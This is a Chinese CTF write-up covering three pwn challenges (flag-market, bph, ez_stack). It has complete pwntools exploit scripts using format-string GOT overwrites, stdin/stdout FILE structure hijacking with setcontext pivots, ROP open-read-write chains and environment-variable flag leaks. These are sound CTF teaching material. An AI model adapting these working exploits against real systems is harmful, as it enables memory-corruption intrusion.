0x00 前言

一般路人,划水这一块

0x01 题解

flag-market

alt text通过对oflag的输入能覆盖掉上面的You are so parsimonious,这样就有bss段上的格式化字符串了。接着利用这个把exit.got该成main,就制造出了无限次格式化字符串漏洞。
原本程序的逻辑是碰到{之后结束循环,然后通过 memset 来清除残留的 flag ,我们直接把 memset.got 写成 puts.plt即可

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/flag_market/bin/chall'
elf=ELF(file)
context.binary = elf

choice = 0x001
if choice:
port=
qwb = ''
p = remote(qwb,port)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

sla('2.exit\n',b'1')
sla('how much you want to pay?\n',b'255')

oflag = 0x0000000004040C0
payload = 'a' * 0x100 + '%' + str((main)&0xffffffff) + 'c%12$n'

# debug('b *0x0000000004014BC')
sla('opened user.log, please report:\n',payload)

sla('2.exit\n',b'1')
exit = 0x404090
fclose = 0x404030
sa('how much you want to pay?\n',p64(elf.got.exit))

sla('2.exit\n',b'2')
sla('2.exit\n',b'1')
sla('how much you want to pay?\n',b'255')

payload = 'a' * 0x100 + '%' + str((elf.plt.puts)>>16 & 0xff) + 'c%13$n'
payload += '%' +str((elf.plt.puts)&0xffff) + 'c%12$hn'
sla('opened user.log, please report:\n',payload)

sla('2.exit\n',b'1')
sa('how much you want to pay?\n', p64(elf.got.memset) + p64(elf.got.memset + 2))

sla('2.exit\n',b'2')
sla('2.exit\n',b'1')
sla('how much you want to pay?\n',b'255')
itr()

bph

沙箱

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0013
0009: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0013
0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013
0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013
0012: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL

一开始的输入token没有b'\x00'截断,所以可以泄露栈上内容alt text堆地址,libc,栈地址3选1。申请堆块这里alt text这里因为没对输入的size做检测,所以有一个任意地址写,但只能写一个0,找到了很久之前的一个非常相似的题目whctf2017-stackoverflow 参考他的做法,往stdin_IO_buf_base的结尾写上0,下一次输入就能从_IO_read_end 开始写入内容,再次修改_IO_buf_base_IO_buf_end的内容,即可实现libc的任意地址写。接着劫持stdout,需要libc.sym['setcontext'] + 61 来栈迁移,libc.sym['setcontext'] + 294 恢复rbp

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/bph/chall'
elf=ELF(file)
libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6')

choice = 0x001
if choice:
port=
qwb = ''
p = remote(qwb,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

menu = str(hex(0x0000000000001300))
commend = f'''

b _IO_switch_to_wget_mode
'''
# debug(commend)
sa('Please input your token: ','a'*(0x28))

ru('Your token is ')
ru(b'a'*0x28)
libc_base = uu64(r(6).ljust(8,b'\x00')) - 126 - libc.sym['free']
leak('libc_base')
libc.address = libc_base

stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
_IO_buf_base = stdin + 0x38
environ = libc.sym['environ']

sla('Choice: ',b'1')
sla('Size: ',str(_IO_buf_base + 1))
# sla('Size: ',str(100))
sa('Content: ',b'a')

payload = b'\x00'*0x18 + p64(stdout) + p64(stdout + 0x100)
sa('Choice: ',payload)
fake_IO_addr = stdout

time.sleep(3)
# pause()

payload = flat({
0x18: libc.sym['setcontext'] + 61,
0x20: fake_IO_addr,
0x68: fake_IO_addr,
0x78: fake_IO_addr,
0x88: fake_IO_addr+8,
0x90: 0x400,
0x98: 0x23,
0xa0: fake_IO_addr,
0xa8: libc.sym['setcontext'] + 294,
0xb0: libc.sym['read'],
0xd8: libc.sym['_IO_wfile_jumps'] + 0x10,
0xe0: fake_IO_addr,
},filler=b'\x00')

s(payload)

# time.sleep(5)
pause()

rdi = libc_os(0x000000000010f78b) # pop rdi ; ret
rsi = libc_os(0x0000000000110a7d) # pop rsi ; ret
rdx = libc_os(0x00000000000b503c) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

orw = flat(
rdi, -1 , rsi ,fake_IO_addr+0xd8 , libc.sym['openat'],
rdi, 3 , rsi , fake_IO_addr+0x300 , rdx , 0x50, 0x50, 0x50, 0x50, 0x50, libc.sym['read'],
rdi, 1 , rsi , fake_IO_addr+0x300 , rdx , 0x50, 0x50, 0x50, 0x50, 0x50, libc.sym['write'],
)
orw += b'/flag\x00'
sl(orw)

itr()

ez_stack (复现版)

沙箱,没有o啊

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0011
0008: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0011
0009: 0x15 0x01 0x00 0x000000ca if (A == futex) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

就一个read,我还以为是srop或者ret2dl
alt text显然两个都不是,后者依赖pop rdi等gadget,前者依赖syscall以及对rax的设置。所以得学学各种奇淫技巧。
首要目标是泄露libc,只要能泄露出来就什么都好说。先是把栈迁移到bss段,利用_start 函数,它会把libc_start_main 压入栈。就是做格式化字符串经常用的那个,实际上这个东西附近有个这样的函数__libc_print_version alt text稍微跟进一下jmp的地方alt text 有个系统调用号为1的syscall,没错就是write。所以只要想办法到这里,寄存器的设置自然不成问题,都在来之前的read之前就设置好了,我们可以通过这个__libc_print_version来泄露libc
至于怎么把libc start main写成libc_print_version,我们需要下面这三段gadget来配合,第一个gadget主要作用在第一行以及最后一行ret,因为我们可以控制rbp,所以也可以控制edxalt text2.同理alt text3.把dh加给bl(rbx的最低一个字节)alt text 只要让 libc_start_main 的地址+ 0xe0即可 alt text泄露完libc了,该怎么把flag读出来呢?
注意到题目给的dockerfile

FROM ubuntu:22.04

RUN apt-get update
RUN apt-get update && apt-get install -y build-essential socat libseccomp-dev

ARG FLAG
ENV FLAG $FLAG

WORKDIR /
COPY start.sh /start.sh

RUN chmod 755 /start.sh && \
echo "$FLAG" > /flag.txt && \
chown root:root /flag.txt && \
chmod 644 /flag.txt

EXPOSE 9000

WORKDIR /
COPY chall /chall
RUN chmod +x /chall

CMD ["/start.sh"]

flag是来自环境变量的,实际上程序启动的时候环境变量会留在栈上,类似这样
alt text所以我们可以通过environ 来泄露栈地址,然后泄露对应环境变量地址的地址,然后再泄露就行

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
libc = ELF('./libc.so.6')
#
choice = 0x00
if choice:
port= 27828
qwb = '47.104.154.99'
buu = 'node5.buuoj.cn'
p = remote(buu,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b main
'''
# debug(commend)

bss = 0x404200
leaxxx = 0x0000000004015FB
leave_ret = 0x0000000000401541
add_rbp_ebx = 0x000000000040123c# add dword ptr [rbp - 0x3d], ebx ; nop ; ret
add_bl = 0x40124f #add, bl ,dh
adc_edx_rbp = 0x40122c #adc edx,DWORD PTR [rbp+0x48] ; pop rbp ; ret
rbp = 0x000000000040123d # pop rbp; ret

payload1 = b'a'*0x18 + p64(bss - 0x100) + p64(bss + 0x20) + p64(leaxxx)

s(payload1)

# pause()
time.sleep(0.3)

payload2 = b'a' * 0x18 + p64(bss - 0x100) + p64(bss + 0x28) + p64(leave_ret) + p64(elf.sym._start)
s(payload2)

# pause()
time.sleep(0.3)

payload3 = p64(0xe000)*3 + p64(bss- 0x100) + p64(0x404110 - 0x48)
payload3 += p64(adc_edx_rbp) # set $dh
payload3 += p64(add_bl) + p64(add_bl)# set dl & pop rbp
payload3 += p64(rbp) + p64(0x4041d8 + 0x3d) + p64(add_rbp_ebx)
payload3 += p64(rbp) + p64(0x4041e0 + 0x20) + p64(leaxxx)
s(payload3)

# pause()
time.sleep(0.3)

payload4 = p64(leaxxx)*3 + p64(bss- 0x100) +p64(0x4041d8 -8 - 0x40 ) + p64(leaxxx)
s(payload4)

# pause()
time.sleep(0.3)

payload5 = p64(0)*3 + p64(bss- 0x100) +p64(0x4041d8 -8) + p64(adc_edx_rbp) + p64(0x4041d8 -8) + p64(leave_ret) + p64(0)*4 + p64(0x4041d8 -8)
s(payload5)

r(0x68)
libc_base = uu64(r(6).ljust(8,b'\x00')) - 0x29f20
leak('libc_base')
libc.address = libc_base
r(0x800 - 0x68 - 6)

# pause()
time.sleep(0.3)
rdi = libc_os(0x000000000002a3e5) # pop rdi ; ret
rsi = libc_os(0x000000000002be51) # pop rsi ; ret
rdx = libc_os(0x000000000011f357) # pop rdx ; pop r12 ; ret
payload6 = p64(0)*3 + p64(bss- 0x100) +p64(0x4041e0 - 8) + p64(leave_ret)
payload6 += p64(rdi) + p64(1) + p64(rsi) + p64(libc.sym['environ']) + p64(rdx) + p64(0x8) + p64(0) + p64(libc.sym['write'])
# write(1,environ,0x8) 获取栈地址
payload6 += p64(leaxxx)
s(payload6)

stack_addr = uru64()
flag_addr = stack_addr + 0x98
leak('stack_addr')
leak('flag_addr')

time.sleep(0.3)
#
payload7 = p64(0)*3 + p64(bss- 0x100) +p64(0x4041e0 - 8)
payload7 += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x8) + p64(0) + p64(libc.sym['write'])
# write(1,flag_addr,0x8) 获取环境变量所在地址
payload7 += p64(leaxxx)
s(payload7)

flag = uru64()
leak('flag')
time.sleep(0.3)
# debug(commend)
payload8 = p64(0)*3 + p64(bss- 0x100) +p64(0x4041e0 - 8)
payload8 += p64(rdi) + p64(1) + p64(rsi) + p64(flag) + p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['write'])
# write(1,flag,0x50) 打印flag
payload8 += p64(leaxxx)
s(payload8)

itr()

本地的效果大概是这样
alt text远程没打印出flag的话就调调地址什么的,懒得弄了